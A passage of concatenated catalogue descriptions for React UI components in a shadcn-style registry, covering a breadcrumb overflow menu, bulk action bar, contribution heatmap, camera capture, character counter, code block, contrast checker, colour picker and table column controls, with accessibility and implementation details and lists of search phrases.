breadcrumb's, not a toolbar's. The crumbs are links and each is an ordinary tab stop, because the practices give a breadcrumb no arrow keys and a roving tabindex here would take Tab's answer away from a reader. The ellipsis is the one control with keys of its own: Down or Up opens its menu on the first or last level, Escape closes it and returns focus, Tab leaves from an element still in the document, Home and End reach the ends, a horizontal arrow inside the menu is swallowed rather than left to scroll an ancestor, and the wrap is `split-button`'s own `nextMenuIndex`, imported rather than written again so the two menus in this registry cannot drift apart. One failure survives all of that and is handled on its own: a crumb holding focus can be folded away when the container narrows, and a browser does not move focus when the element holding it leaves the document — it drops to `<body>`, so the next Tab starts from the top of the page. The fold moves focus to the ellipsis, which is where that crumb now is, and only when focus was already in the trail, since a window being dragged narrower is not a reason to take focus from whatever somebody is doing elsewhere on the page. What you get: `BreadcrumbOverflow`, taking `items` root-first with the current page last, each `{ label, href?, icon?, id?, onNavigate? }` — `href` omitted for a level with no page of its own, which is text in the row and still a focusable rung in the menu, and `onNavigate` the hook for a client router (`event.preventDefault()` then `router.push`), which is also what tells the component the page is not being replaced so it puts focus back on the control instead of leaving it on a link that is about to unmount. `label` names the landmark ("Breadcrumb" by default), `separator` replaces the chevron in the row and in the probe alike, `labels.more(count)` builds the control's accessible name and carries the number of hidden levels because "More" alone does not say whether one level is hidden or nine, `onFoldChange` reports how many are behind the control after each measurement, and `onOpenChange` is told once per change rather than twice under strict mode. `fitBreadcrumbs` is the whole decision as a plain function of widths, available width, gap, separator and control width — the part worth asserting, since every interesting case here is a width rather than a click — and `breadcrumbMenuOffset` and `isCrumbFolded` are the placement and the fold membership, each on its own. Per-part `className` for the list, the crumbs, the current page, the separators, the control, the panel and its items. One file, two lucide icons, no `radix-ui`, and nothing portalled or measured against the viewport: the honest limits are the server, which cannot measure, so an SSR'd page shows the whole trail clipped until hydration, and an ancestor that scrolls, which can clip the panel. Distinct from its neighbours here: `toolbar-overflow` folds a row of actions into a menu at its end, keeping a prefix rather than both ends, and this borrows its probe discipline rather than its strategy; `middle-truncate` shortens one string from the middle so an extension survives, where this decides which whole levels survive; `overflow-tooltip` reveals a string that CSS has already clipped, which is the answer for the current page's title rather than for the trail; `scroll-shadow` says there is more past a scrolling edge instead of folding it; `sort-header`, `column-resizer` and `sticky-table-header` measure a table, while this measures itself; `split-button` is one action with its variants under an arrow, and the menu here composes with it.
The bar that appears once rows are selected in a table or list — it shows "3 items selected", holds your bulk actions (delete, archive, export, assign, move, approve, mark as read) as children, and gives the user a way out of selection mode. Use it with any multi-select surface: a data table with row checkboxes, an admin users/orders/invoices/subscriptions list, a file manager or media library, an inbox, a moderation or approval queue, a CRM contact list, a photo grid, or a mobile-style edit mode. Common asks it answers: 'bulk action bar', 'bulk actions toolbar', 'selection toolbar', 'batch actions', 'n selected bar', 'contextual action bar', 'what to show when table rows are checked', 'react bulk actions component', 'table row selection toolbar react', 'shadcn data table bulk actions', 'tanstack table selected rows toolbar', 'react-table bulk actions', 'show toolbar when checkbox is selected react', 'select all rows then delete react', 'batch delete ui react', 'bulk edit bar react', 'multi select toolbar react', 'gmail style selection bar', 'floating action bar for selected items', 'sticky bottom bar with selected count', 'how many rows selected component', 'clear selection button react', 'exit selection mode react', 'admin table bulk operations', 'selected count aria live'. shadcn/ui ships no such component — its data-table recipe leaves selected-row UI entirely to you; this packages the part everyone rewrites. It drops straight onto that recipe: pass table.getFilteredSelectedRowModel().rows.length as count and table.resetRowSelection as onClear, and nothing else has to change. It hides itself at count 0, so you render it unconditionally and just pass the selected count. The count is announced to screen readers from a live region that stays mounted even at zero (a live region inserted together with its text is not reliably announced, so a bar that unmounts completely would swallow the first update), and the visible count is aria-hidden to avoid a double read. Escape clears the selection, ignoring already-handled key presses so a dialog opened from one of your actions still closes normally. It is a labelled region, not an ARIA toolbar, because a toolbar is expected to implement roving-tabindex arrow navigation and claiming the role without it reads worse than plain tab order. Pass variant="floating" (default) for a pinned bar above the page bottom or "inline" to sit in the flow above the table; itemName/itemNamePlural handle the noun and irregular plurals, clearLabel renames the exit control, and label names the region itself. Styled with shadcn tokens (background, border, muted-foreground, accent, ring) for automatic light/dark theming, with zero dependencies beyond your cn util. Distinct from toast, which reports a result after the fact; this one hosts the actions themselves.
A year of daily counts as a grid of shaded squares — the GitHub-style contribution graph, drawn for whatever your app counts per day: commits, deploys, orders, sign-ins, posts, workouts, lessons, support tickets, API calls, or a habit tracker's streak. Pass data as [{ date: '2026-08-10', count: 12 }] and it renders 53 columns of 7 squares with month and weekday headers; sparse data is fine, since a day with no row is drawn as a day with nothing, and two rows for the same day are summed rather than one silently winning. Shading is by quartile of the days that had any activity, so a single 500-commit day does not flatten the rest of the year into one pale block the way scaling against the maximum does — pass thresholds to cut the levels yourself. Dates are held as integers, days since the epoch in UTC, and never as Date objects: new Date('2026-08-10').getDay() is parsed as UTC midnight and answers with the previous day anywhere west of Greenwich, which silently rotates the whole grid by one row, and it is the single most common defect in a hand-rolled contribution graph. Nothing reads the clock either — the window is anchored to the last date in your data, not to Date.now(), so the server and the browser always render the same markup. It is a real table with month columns, weekday row headers and a screen-reader name on every square ('12 commits on Monday, August 10, 2026'), so the year is readable to somebody who cannot tell the four shades apart; conveying a value by colour alone fails WCAG 1.4.1, and the colour key is hidden from assistive technology instead of being announced as five unlabelled swatches. The grid scrolls horizontally on a narrow screen and takes keyboard focus, because a scrollable region that cannot be reached by keyboard puts a year of data out of reach. Shades are one opacity ramp of your theme's primary token, so it follows light and dark without a palette of its own. No dependencies and no hooks, so it renders inside a React server component with no 'use client' of its own and ships no client JavaScript. Official shadcn/ui has nothing that draws this, and the measurement is not close: fetching every entry in its registry today — 63 listed, 62 fetchable, questionnaire is indexed and 404s on both style tracks — and grepping all 223,289 bytes of source, heatmap, contribution, getDay, getUTCDay, quartile, epoch, daysSince, colorScale, intensity, toISOString, activity, streak and <rect are every one of them a zero hit, and so are Date.now and new Date( — that registry performs no date arithmetic anywhere. Its calendar is a react-day-picker date picker for choosing a day, which pulls in date-fns and the button component, and its chart is a Recharts wrapper; neither plots a value per calendar day. Distinct from the pulld pieces it sits nearest: sparkline draws one line of values with no calendar underneath and no notion of a missing day, ratio-bar splits a single total into parts, gauge and progress-ring show one number against a target, stat-card shows a figure and its change, weekly-hours edits an opening-hours schedule rather than plotting counts, month-picker and date-input choose a date, and timeline lists events in order. This is the only one keyed to the calendar itself, where the shape of the year — the gaps, the weekends, the streaks — is the information. Common asks it answers: "github contribution graph react", "contribution heatmap component", "calendar heatmap react", "activity calendar react", "year in squares chart", "daily activity grid react", "streak calendar component", "habit tracker grid react", "commits per day visualization", "shadcn heatmap", "shadcn contribution graph", "shadcn calendar heatmap", "react-activity-calendar alternative", "react-github-calendar without github", "cal-heatmap react", "nivo calendar alternative lightweight", "recharts has no calendar heatmap", "heatmap without d3", "contribution graph off by one day", "heatmap grid shifted one row", "getDay returns wrong day timezone", "date string parsed as UTC javascript", "new Date('2026-08-10').getDay() wrong", "heatmap all squares same color", "one big day flattens my heatmap", "quartile color scale heatmap", "accessible heatmap screen reader", "color alone conveys value wcag", "server component chart no use client", "ヒートマップ カレンダー react", "草 コントリビューション グラフ", "日別 集計 可視化".
A take-a-photo control that opens the device camera inline, shows a live preview, captures a still to a Blob, and — the part every hand-rolled version gets wrong — hands the camera back the moment it is done with it. Reach for it wherever a form needs a picture taken now rather than a file chosen from a gallery: a profile or avatar photo, ID and proof-of-address capture in a KYC or onboarding flow, a business card scanned into a CRM, stock and asset counts in a warehouse, site and installation records on a construction job, damage reports for a repair, an insurance claim or a delivery dispute, proof-of-delivery photos, receipt and invoice capture for expenses, meter readings, a VIN or serial plate, product photos for a marketplace listing, a whiteboard at the end of a meeting, and a check-in photo in a field-service or inspection app. Common asks it answers: "react camera component", "take photo in browser react", "getUserMedia react hook", "webcam capture component", "react webcam alternative", "capture image from video stream", "shadcn camera", "photo capture for form upload", "scan document with phone camera react", "front and back camera switch react", "useUserMedia hook", "canvas toBlob from video", "selfie capture component", "camera permission denied react", "camera light stays on after stopping". Official shadcn/ui has nothing for this and no combination of its parts reaches it: there is no camera, video, media or capture primitive anywhere in the library — getUserMedia, MediaStream, facingMode, srcObject, enumerateDevices, toBlob and even the string "camera" are each zero hits across all sixty-odd of its components. Distinct from the other image pieces in this registry, and composes with them rather than repeating them: file-dropzone takes a file that already exists, image-crop trims a picture after it has been obtained, image-zoom inspects one, upload-list shows what is in flight, and signature-pad is also a canvas but its input is a finger, not a lens. This one is the step that produces the image in the first place — pipe its blob straight into image-crop, or into a FormData with form.append("photo", photo.blob, "photo.jpg"). Five things separate it from the twenty-line version. First, stopping. Setting video.srcObject to null blanks the preview and leaves the tracks live, so the operating system's recording indicator stays lit over a camera nobody is watching; only track.stop() ends the capture, and it runs on unmount, on an explicit stop, when a photo is taken, and before any restart. On a phone the camera is also exclusive, so the release has to happen before the next getUserMedia and not after it, or switching cameras fails with NotReadableError on exactly the devices that have two cameras to switch between — and a stream that arrives after the component has gone is stopped on arrival, because nothing else on the page can reach it any more. Second, facing. { exact: "environment" } fails outright on any device without a rear camera, which is every laptop, and plain "environment" never fails and silently returns the front camera instead, so a document scanner written either way is broken: one refuses to run, the other photographs the user's face and files it as their passport page. This asks for the ideal and then reads the live track back, so facing reports the camera actually in use and facingFallback says when it is not the one requested — the answer neither constraint spelling gives you. Third, the black photograph. loadedmetadata publishes videoWidth and videoHeight, so a canvas sized from them looks right, but no frame has been decoded yet and drawImage paints nothing; the result is a correctly sized, entirely black JPEG that passes every check a caller is likely to write. Capture is gated on readyState, not on dimensions. Fourth, permissions. NotAllowedError means four unrelated things — an http origin, an iframe without allow="camera", a stored block, and a prompt closed without an answer — and only the stored block is worth sending somebody to their site settings for, so the other three say something true instead and are not offered a retry that cannot work. NotReadableError is untangled too: the camera exists and the permission is fine, and another app is holding it. A permission fixed in site settings is picked up live through the Permissions API change event rather than staying dead until a reload, and because MediaDevices is [SecureContext] the whole object is missing on http — where the obvious feature detect fires and produces the one wrong answer, "this browser has no camera support", so this component checks the context before it concludes anything. Fifth, mirroring. The preview is mirrored because a front camera shown unmirrored is disorienting, and the saved file is not, because a mirrored file makes every photographed document, badge, receipt and serial number read backwards; mirrorOutput is there for the selfie case and is off by default. Ships as a hook (useCameraCapture) plus a component, with videoProps to spread onto your own <video> so playsInline and muted — the two attributes an iPhone needs to keep the preview from going fullscreen over your page, and to be allowed to autoplay at all — cannot be forgotten. Audio is explicitly refused so the microphone indicator stays dark and only one permission is asked for. The camera list is read after a stream opens rather than on mount, because enumerateDevices answers before a grant with every label blank. Saved images can be capped with maxWidth and maxHeight, encode to JPEG by default, and report the type that actually came back rather than the one requested; the object URL is owned by the component and revoked on retake and unmount, so a capture screen used ten times does not pin ten images in memory. Controls are aria-disabled rather than disabled so a refusal stays reachable and can explain itself, with a permanently mounted polite live region for status and failures. Styled entirely with shadcn tokens (input, accent, ring, muted-foreground), so it follows light and dark mode, and its only dependency is lucide-react for the icons.
The "42 left" that sits under a field with a limit — a bio, a post box, a product description, an SMS body, a subject line — counting the characters a person can actually see rather than the code units the string happens to be made of, and showing the limit being crossed instead of quietly cutting the text off. Reach for it anywhere a length cap is real: a profile bio, headline or status; a comment, review, reply or chat composer; a post or tweet-style box; a product title and description; a support ticket, feedback or contact form; an SMS or push notification body; an email subject line; a meta description, OG description or alt text; a commit message or release note; a job posting, listing or classified; a survey free-text answer; and any textarea in front of a column that will reject what is too long. Common asks it answers: "character counter react", "textarea character count", "characters remaining react", "react character limit component", "maxlength counter react", "count remaining characters", "twitter style character counter", "shadcn character counter", "shadcn textarea character count", "string length wrong with emoji", "emoji counts as 2 characters javascript", "javascript count emoji as one character", "grapheme count javascript", "Intl.Segmenter count characters", "count unicode characters correctly", "utf8 byte length of a string", "varchar length frontend validation", "accessible character counter", "aria-live character count screen reader", "character count announced every keystroke", "文字数カウンター react", "絵文字 文字数 カウント". Official shadcn/ui has nothing for this: across its sixty-three components maxLength, charCount, Segmenter and codePoint are all zero hits, textarea is an eighteen-line bare element, and the two length matches inside field are errors.length in FieldError — so an agent asked for a counter writes value.length inline, and value.length is wrong for everyone whose text is not plain Latin. JavaScript counts UTF-16 code units, so one emoji is 2, a flag is 4, a thumbs-up with a skin tone is 4, and a family is 8. The writer is charged four characters for one glyph, and when they delete it the remaining count jumps back by four — which reads as a bug in the box, because it is one. Worse, the number on screen and the number the server enforces are then counted by different rules with nothing to warn you: Postgres varchar(n) and MySQL utf8mb4 count code points, a byte-bounded column counts bytes, and the field says "3 characters left" onto a save that comes back rejected. So the unit is a prop — grapheme by default, because that is the number a person would give you, with codePoint, utf16 and utf8 for the three things a back end usually means — and there is a crlfNewlines option for the mismatch nobody looks for, since a textarea reports every line break as \n while a submitted form normalises it to \r\n, leaving a ten-line post four characters longer on the wire than in the box. The second failure is the fix everyone reaches for first. Putting maxLength on the field looks like enforcement and behaves like a trapdoor: paste 400 characters into a 280 field and the browser keeps the first 280 and discards the rest with no event, no error and nothing on screen — the writer sees a full box, no complaint, and a sentence that ends mid-word, and what is missing is invisible precisely because it is missing. This component never sets it. The count goes negative and turns destructive, over is true, aria-invalid goes on the field, and refusing the save becomes one decision you make in the one place that already knows why. truncateToCount is exported for the times trimming really is the answer — a preview string, an OG description — and it walks grapheme clusters, so a UTF-16 or byte limit still lands on a boundary a person would recognise rather than leaving half a surrogate pair behind. Accessibility is the other half, and it is where hand-rolled counters do the most damage. The reflex is to wrap the number in aria-live, which turns every keystroke into an interruption; because a screen reader queues what it is told, the count ends up trailing several characters behind the typing while the letters themselves go unheard, and the field becomes unusable by the people the live region was added for. Here the counter is tied to the field with aria-describedby, read once on focus and silent after, and a separate polite region speaks only when the value crosses between comfortable, close to the limit and past it — three announcements in the life of a field, each of them news, each carrying the count at that moment. It stays quiet on mount too, so opening an existing bio that is already over does not talk at someone who has not typed anything yet. The visible number is aria-hidden so the description read on focus is "42 characters remaining" rather than a bare "42", the digits are tabular so the counter does not twitch sideways while you type, and every label is an overridable function so it translates. countChars, truncateToCount, charCountStatus, charCountMessage and the useCharCounter hook are all exported, so the same count that draws the counter can disable the submit button and back a zod refine instead of three places disagreeing. Within pulld it is the piece that goes under autosize-textarea, which is the field itself; it shares its Segmenter discipline with middle-truncate, which solves the same UTF-16 problem on the display side; and it follows the same describedby-plus-band-announcement pattern as password-strength, the other meter that lives under an input. One file, no dependencies at all — not even an icon — and every colour is a shadcn token, so it follows light and dark.
A read-only code panel: a bordered, scrollable box that shows a snippet with a copy button in the corner and an optional uppercase language label. Reach for it whenever a page has to show code the reader will copy rather than edit — install and CLI commands in a README, docs site or MDX page (Nextra, Docusaurus, Starlight, Storybook docs all render into exactly this shape), curl and SDK examples in API reference, a GraphQL or SQL query, a .env sample or YAML/JSON config, a Dockerfile or CI workflow fragment, a webhook payload, a stack trace pasted into a support article, the "run this in your terminal" step of an onboarding flow, the snippet a developer landing page opens with, and the code an AI assistant hands back inside a chat answer. Common asks it answers: "code block component react", "code snippet component", "code block with copy button", "copy code button react", "pre code with copy", "styled pre tag react", "terminal command block", "cli command component", "docs code sample component", "mdx code block component", "shadcn code block", "shadcn ui code snippet", "readonly code viewer", "snippet with language label", "copyable command block", "react-syntax-highlighter alternative", "code block without syntax highlighting". Official shadcn/ui has nothing here and is not close: across all sixty-three of its components there is not one <pre> element, not one clipboard call, and no code or snippet item of any kind — so this is normally rebuilt inline, and the inline version has three failures that all look fine on the way past. A copy button revealed only by group-hover cannot be reached by a keyboard at all; here it lives in a focus-within wrapper, so tabbing to it makes it appear. A copy that swaps its icon and stops there tells a screen reader nothing, because a changed icon is not an event; the copy control announces itself (it composes pulld copy-button rather than repeating it). And a scrollable panel with nothing focusable inside it is a region a keyboard user cannot scroll, so the right-hand end of a long line is mouse-only — the panel is a tab stop with a visible focus ring for that reason (WCAG 2.1.1). Deliberately a container and not a highlighter: pass a code string and it renders semantic <pre><code> with data-language set, which costs no bundle and stays out of the way if you later pipe the same string through Shiki, Prism, highlight.js or rehype-pretty-code — where react-syntax-highlighter drags a grammar bundle into a page that only wanted to display nine lines. Long lines scroll horizontally rather than wrapping, because a wrapped command is a command that gets pasted wrong. Within pulld the boundary is by what the string is, not how it looks: this one is for static text a human wrote, copy-field is the single-line value with the button docked inside it (an API key, a share link), ansi-log is for a process's own output with escape codes still in it (CI, build and deploy logs), and diff-view is for before and after rather than one snippet. Extra props land on the wrapper div, every colour is a shadcn token so it follows light and dark, and there is no dependency beyond your cn util.
Says whether a foreground and background pair is readable, as a WCAG 2 contrast ratio with a pass or fail against each requirement the pair is held to. Reach for it wherever a colour is chosen and somebody then has to live with reading it: a design-system or design-token table that lists every pair in use, a theme or appearance editor, the brand and accent colour fields in an admin panel or tenant settings, checking the output of a generated or imported palette, a warning next to a colour input before the value is saved, an accessibility audit or review screen, chart series and status colours, dark-mode review, and a Storybook or docs page that has to show the figure rather than claim it. Common asks it answers: "contrast checker react", "color contrast component", "wcag contrast ratio", "contrast ratio calculator", "check contrast of two colors", "is this text readable on this background", "4.5:1", "3:1", "7:1", "AA vs AAA contrast", "accessible color combination", "accessible text color on background", "relative luminance javascript", "wcag 2 contrast formula", "luminance contrast js", "shadcn contrast checker", "tailwind color contrast check", "design token contrast audit", "contrast ratio for oklch", "contrast of a css variable", "check contrast of theme tokens", "dark mode contrast check", "large text contrast threshold", "non-text contrast 1.4.11", "focus ring contrast", "icon button contrast", "contrast of semi-transparent text", "overlay text contrast", "why does my contrast checker say rgb(0,0,0)", "getComputedStyle color returns oklch", "コントラスト比 計算", "色のコントラスト チェック", "WCAG コントラスト react", "文字が読めるか 判定", "アクセシビリティ 配色 チェック", "背景色と文字色 比率". **It resolves the colour the browser actually paints, which is why it works on a current theme at all.** The usual implementation reads `getComputedStyle(el).color` and pulls three integers out with a regex, and that assumes the computed value is `rgb(...)`. It is not: measured in Chrome 152, `oklch(0.7 0.15 250)` computes to `oklch(0.7 0.15 250)`, `lab(50% 40 -30)` to `lab(50 40 -30)`, `color(display-p3 1 0 0)` unchanged, and `color-mix(in srgb, red 30%, blue)` to `color(srgb 0.3 0 0.7)`. That is not a corner case any more — reading the eight principal theme tokens off shadcn/ui's own documentation site today, every one of them computes to `lab(...)`, and its main stylesheet holds 431 occurrences of `lab(` against one of `rgb(`. So the regex version reports nothing on the exact palettes people most want to check. This paints the value onto a 1×1 canvas and reads the pixel instead, which makes the browser do the conversion and handles every notation it ships, named colours and out-of-gamut values included. **It resolves the colour where you asked about it, not wherever a probe happened to sit.** `var(--primary)` and `currentColor` only mean something at a position in the tree, and a probe parked at the end of `body` does not return an error for them — it returns the inherited text colour. Measured: the same `var(--token)` string resolved to `oklch(0.55 0.2 25)` inside the subtree that declares it and to `rgb(26, 26, 26)` on a body-level probe, with nothing marking the second as unresolved. A detached element is worse still, answering the empty string for all thirteen notations tried, plain hex among them. Validity is settled separately with `CSS.supports`, because `color: notacolor` also computes to the inherited colour and is otherwise indistinguishable from a correct answer. **It re-measures when the theme changes, which is neither a prop change nor a resize.** If the inputs are tokens, both strings are identical before and after a dark-mode toggle while the answer moves: measured, adding the `dark` class to `<html>` took `--foreground` from 0/0/0 to 250/250/250 and `--background` from 255/255/255 to 10/10/10, turning a 21.00:1 pair into an 18.97:1 one with nothing for React to hear. A `MutationObserver` watches the document element's `class`, `style` and `data-theme`, and `prefers-color-scheme` is watched for a page themed by media query alone. A contrast figure that has gone stale is worse than none, because it is the number the reader is trusting. **A translucent colour has no ratio on its own, and this says so instead of assuming white.** `rgba`, `oklch(... / 0.6)` and `color-mix(..., transparent)` are detected by painting over white and over black and comparing, with no notation parsed; when one of them has no opaque colour behind it the status is `indeterminate` rather than a confident number. When there is something behind it, the real ancestor stack is composited in order rather than skipped — a 60%-black panel over a 251/251/250 page is 100/100/100, which is neither of them. Text is composited over the background and the background over the backdrop, in that order, because text sits on the background: collapsing the two reports a ratio against a colour that is nowhere on screen. Alpha is quantised to eight bits first, which is what the compositor does — against a canvas over twelve pairs the float form missed five and the quantised form matched all twelve. **Large text takes the weight as well as the size.** The rule is 18pt at any weight or 14pt when bold, so 18.67px is large at weight 700 and normal-size at weight 400, and a checker handed only a size cannot tell which — the same pair needs 3:1 in one case and 4.5:1 in the other. Sizes are accepted as CSS lengths, so `14pt` and `1.5rem` both work; the relative ones are measured against the document rather than guessed against a 16px root. An unknown size is held to the normal-text requirement rather than excused from one. 1.4.11 Non-text Contrast is reported as 3:1 at AA and AAA both, because it has no AAA counterpart and inventing a stricter one would fail pairs that conform. WCAG 2 only, deliberately. APCA — the perceptual model drafted for WCAG 3, and the fair objection to 2.x's ratio — is not computed here: it is not a Recommendation, its coefficients are versioned, and a number that disagrees with the reference implementation is worse than no number on a screen whose whole job is to be trusted. The figures are rounded the way the published checkers round them so they can be cross-checked, except in the thousandth-wide band where rounding up would read as meeting a requirement the verdict denies. Nothing is said in colour alone, which would be a poor joke here: every verdict is a word, the icons are `aria-hidden`, and the headline is a live region so a reader dragging a colour slider hears the new ratio. `contrastRatio`, `relativeLuminance`, `compositeOver`, `isLargeText`, `requiredRatio`, `gradeContrast`, `measureColorIn`, `findBackdrop` and `measureContrast` are all exported, the last of them synchronous and hook-free so a token table can grade dozens of pairs in one pass instead of one hook per row. Official shadcn/ui has nothing here, and the measurement is not close: fetching every entry in its registry today — 65 listed, 62 fetchable, code-block and questionnaire and trace 404 on both style tracks — and searching all 223,289 bytes of it, the strings contrastRatio, relativeLuminance, luminance, WCAG, APCA, sRGB, getImageData and CSS.supports are every one of them a zero hit. Official never computes a luminance and never reads a pixel. Within pulld it sits beside color-picker, which chooses a colour, and theme-toggle, which switches between sets of them — neither asks whether the result can be read — and it is the only component here that resolves a CSS colour of any notation to the bytes a screen will actually paint.
A colour picker built from a hex/rgb/hsl text box and native hue, saturation and lightness sliders, with optional alpha and preset swatches. Reach for it wherever a person chooses a colour rather than a designer does: a theme or appearance editor, brand and accent colours in app settings, design-token and CSS-variable editors, label/tag and project colours, calendar-event and category colours, chart series colours, highlight and annotation colours, avatar and workspace backgrounds, status and priority colours, a whiteboard or drawing tool's palette, and admin panels that store a colour on a record. Common asks it answers: "color picker", "colour picker", "hex color input", "color input field", "swatch picker", "hue slider", "rgb picker", "hsl picker", "alpha/opacity picker", "theme color editor", "react-colorful alternative", "react-color alternative", "shadcn color picker" — the control usually pulled in as react-colorful, react-color, @uiw/react-color or an ad-hoc <input type="color"> that gives you no keyboard story and no text entry. Official shadcn/ui ships no colour component of any kind: its slider is a Radix range primitive with no notion of colour, and input is a bare text box you would still have to parse and validate yourself. It settles the two things hand-rolled colour pickers get wrong. First, hue has to survive grey: with the hex string as the state of record, dragging lightness to 0 destroys the hue, so dragging back up returns red instead of the blue you started with — here h/s/l is the state and the hex is derived, so black still remembers it was blue, including under a controlled parent that echoes the value back. Second, a pasted hex has to come back out byte-identical: the conversion keeps full precision and rounds exactly once, so #123456 never drifts a digit just by being displayed (verified over all 16,777,216 sRGB colours). Beyond that: the box reads hex in all four widths (#abc, #abcd, #aabbcc, #aabbccdd, with or without the hash), rgb()/rgba() and hsl()/hsla() in both the comma and the modern space-with-slashed-alpha forms, and percentages wherever CSS allows them; out-of-range channels clamp and hues wrap the way a browser reads them, and blur rewrites the entry into canonical form so the reading is visible rather than silent. Text that cannot be read stays on screen to be fixed instead of being deleted, marks the field aria-invalid with a polite live message, and is withheld from onValueChange and from the hidden form input so nothing downstream has to validate twice. Colour names are refused by name rather than given a guessed value. The sliders are real range inputs, so arrow keys, Home/End and screen-reader value text come for free instead of being bolted onto a pointer-only saturation square; each is labelled and reports its own unit. Alpha is opt-in and round-trips through 8-digit hex; giving the field a name posts the colour through a hidden input; parseColor and formatColor are exported as plain functions for the rest of the app to share. One file, themed with shadcn tokens so it follows dark mode, no dependencies beyond React.
Drag the line between two column headings to set that column's width, in a <table> you already have — with the widths kept where you put them, a keyboard path through the same control, and double-click to fit a column to its contents. Reach for it wherever a table has more columns than the default widths can serve: an admin data grid, a logs or audit-trail view, an orders, invoices or billing-history list, a transactions or ledger table, an inventory or stock grid, a spreadsheet-like editor, a CRM or support-ticket queue, search results with a long title column, an analytics or reporting breakdown, a file and document browser, and any table where one column holds a URL, a path, an error message or an email and every other column is three characters wide. Common asks it answers: "resizable table columns react", "drag to resize table column react", "react resizable column width", "shadcn resizable table columns", "shadcn table column resize", "shadcn data table column resizing", "resizable columns without tanstack table", "tanstack table column resizing alternative", "react-table column resize alternative", "ag-grid just for column widths", "column width not applying", "width on th ignored", "style width on table cell does nothing", "table ignores column width", "table-layout fixed not working", "table-layout fixed does nothing", "colgroup width not working", "col element width ignored", "resizing one column changes all the others", "all columns resize together", "column width snaps back after drag", "column collapses to zero width", "cannot grab column resize handle", "resize handle too thin to click", "drag resize stops after one pixel", "column resize handle loses the pointer", "resize handle also sorts the column", "column resize triggers sort", "slow table while dragging column width", "column resize laggy large table", "accessible column resize", "keyboard resizable table column", "resize column with arrow keys", "aria-valuenow separator resize", "role separator splitter react", "column resize rtl", "persist column widths", "save column widths to localstorage", "restore column widths on reload", "double click to autofit column width", "excel autofit column react", "touch drag resizes scrolls the page instead". Not official shadcn/ui's resizable, which is a thin wrapper over react-resizable-panels: that one splits a layout into panels with percentage sizes and a flex container, and cannot be used across a table's <th> elements at all, because a row's children have to be cells. This is the table case, with no dependency added. The reason a hand-rolled one does not hold its widths is measurable, and it is not the thing everyone reaches for. In a 600px scroll container, asking for three 120px columns: table-layout: fixed with width: auto gives [140, 243, 120] — the automatic algorithm's own answer, because a fixed layout needs a definite width to be in effect at all, so the property can be set and be doing nothing (width: max-content is not definite either, and behaves the same). With width: 100% it gives [200, 200, 200] — the space the columns did not ask for is shared out between them, so dragging one column moves every column and the one you dragged does not land where you let it go, which is exactly where shadcn/ui's own <Table> puts you because it renders w-full. Only with width: 360px, the sum, do you get [120, 120, 120]. So the table's width is not a style anyone picks; it is the sum of the columns, recomputed on every drag, which is what this hands you. Adding min-width: 100% to make a narrow table fill its container puts it straight back to [199.66, 199.66, 199.69]; and a <col> left unsized among sized ones is not given its content's width but whatever is left over, which is nothing, so it measures 0 and the column disappears — which is why every column is given a width and not just the ones somebody dragged. The handle is a role="separator" with aria-valuenow, aria-valuemin, aria-valuemax and arrow keys, plus Page Up/Down and Home/End, so a column can be resized without a pointer — the version without that is a feature a keyboard user cannot see is missing, and an absent aria-valuemax is 100 per ARIA, so a handle reporting 240 announces a nonsense percentage. It is nine pixels of transparent strip around a one-pixel line, because the line is what you aim at and a one-pixel target is not one; it captures the pointer, or widening the column moves the handle out from under the finger and the drag ends on its first move; it calls preventDefault and stopPropagation so a resize does not also sort the column underneath; a cancelled pointer reverts instead of committing a width nobody chose, and so does Escape; and the gesture is measured from its origin rather than accumulated per move, so a drag pushed past the minimum widens again the moment it comes back instead of owing the distance back. Right-to-left tables mirror both the drag and the arrow keys, read from the element at the time of the gesture. onWidthsChange fires once per gesture with the whole map, not per pointer move, because a column width is a stored preference and not something to write to localStorage sixty times a second — during the drag only a guide line moves, and nothing re-renders. Pass preview="live" to resize the column itself as you drag, which is still written straight to the DOM rather than through state. Composes with the other two pieces that go in a <th> and leave your markup alone: sort-header for the heading and sticky-table-header for pinning the header row and the leading columns. Widths are a plain Record<string, number> keyed by column id, so they survive hiding and reordering columns and can be stored and restored as they are. useColumnResizer, resolveColumnWidths, tableWidthFor, columnWidthFromDrag, keyboardColumnWidth and autoFitColumnWidth are exported for a header laid out as divs. One file, no dependencies, and your <table> stays yours.
The "Columns" control for a table: a button that opens a short panel of checkboxes, one per column, so a person can take the columns they do not care about off the screen and put the ones they do in the order they want them. Reach for it wherever a table has more columns than fit, or more than any one person needs at once: an admin users, accounts or organisations list, an orders, invoices or billing-history table, a CRM or help-desk queue, a logs, events or audit-trail view, an analytics or reporting table, a data grid or spreadsheet-like view, an inventory or product catalogue, a tickets or issues list, a candidates or applications pipeline, a transactions ledger, an asset or device inventory, a saved or shared view somebody is about to send a colleague, and any table whose columns differ between a phone and a desk. Common asks it answers: "column visibility react", "show hide table columns react", "column chooser react", "column picker component", "toggle table columns react", "shadcn column visibility", "shadcn table hide columns", "shadcn data table column toggle without tanstack", "tanstack table column visibility alternative", "ag-grid column chooser alternative", "mui datagrid column visibility alternative", "react column selector dropdown", "columns dropdown checkbox table", "reorder table columns react", "drag to reorder columns react", "column order state react", "persist column preferences localstorage", "save column visibility per user", "column settings in url query string", "shareable table view link", "column preferences out of sync after deploy", "new column not visible to existing users", "saved column settings missing new column", "stale column preference stored keys", "prevent hiding all columns", "at least one column must stay visible", "lock actions column from being hidden", "pin checkbox column table", "accessible column visibility menu", "dropdown menu checkbox accessibility react", "aria-disabled vs disabled checkbox", "announce column hidden screen reader", "テーブル 列 表示 切り替え", "列の表示 非表示 react", "カラム 並び替え 保存", "表示する列 選択 ui", "管理画面 列設定". Five things decide the shape of this component, and four of them are about a preference that is always out of date. A stored preference was written by an older deploy against an older set of columns, or typed into a URL by hand, and every way it can disagree with the table has an obvious-looking answer that is wrong. A column the preference has never seen is shown, not hidden: reading the stored list as the allow-list is the one-line version and it is the expensive bug here, because everyone who has ever opened the menu has a stored preference, so a column shipped next week is invisible to exactly the established users and visible only to people who have never used the product — nobody reports a column they cannot see, and the team shipping it sees it on their own fresh profile and concludes it works. It is shown in its defined position rather than appended, since appending puts a new Status column after the row-actions column at the far right, past the horizontal scroll; each new key is anchored after the nearest column before it that the preference did know, so it lands among its neighbours and a run of new columns keeps its own order. A key that no longer exists is dropped rather than carried, because carried it leaves a gap the next reorder shuffles invisibly and a hidden-set entry that resurrects a column if the key is ever reused. And a locked column is pulled back to its defined position and un-hidden, because `locked` is a fact about this deploy's table and not about the stored value: a column that was ordinary when the preference was written and is load-bearing now would otherwise stay hidden for precisely the people who hid it. The floor is then applied 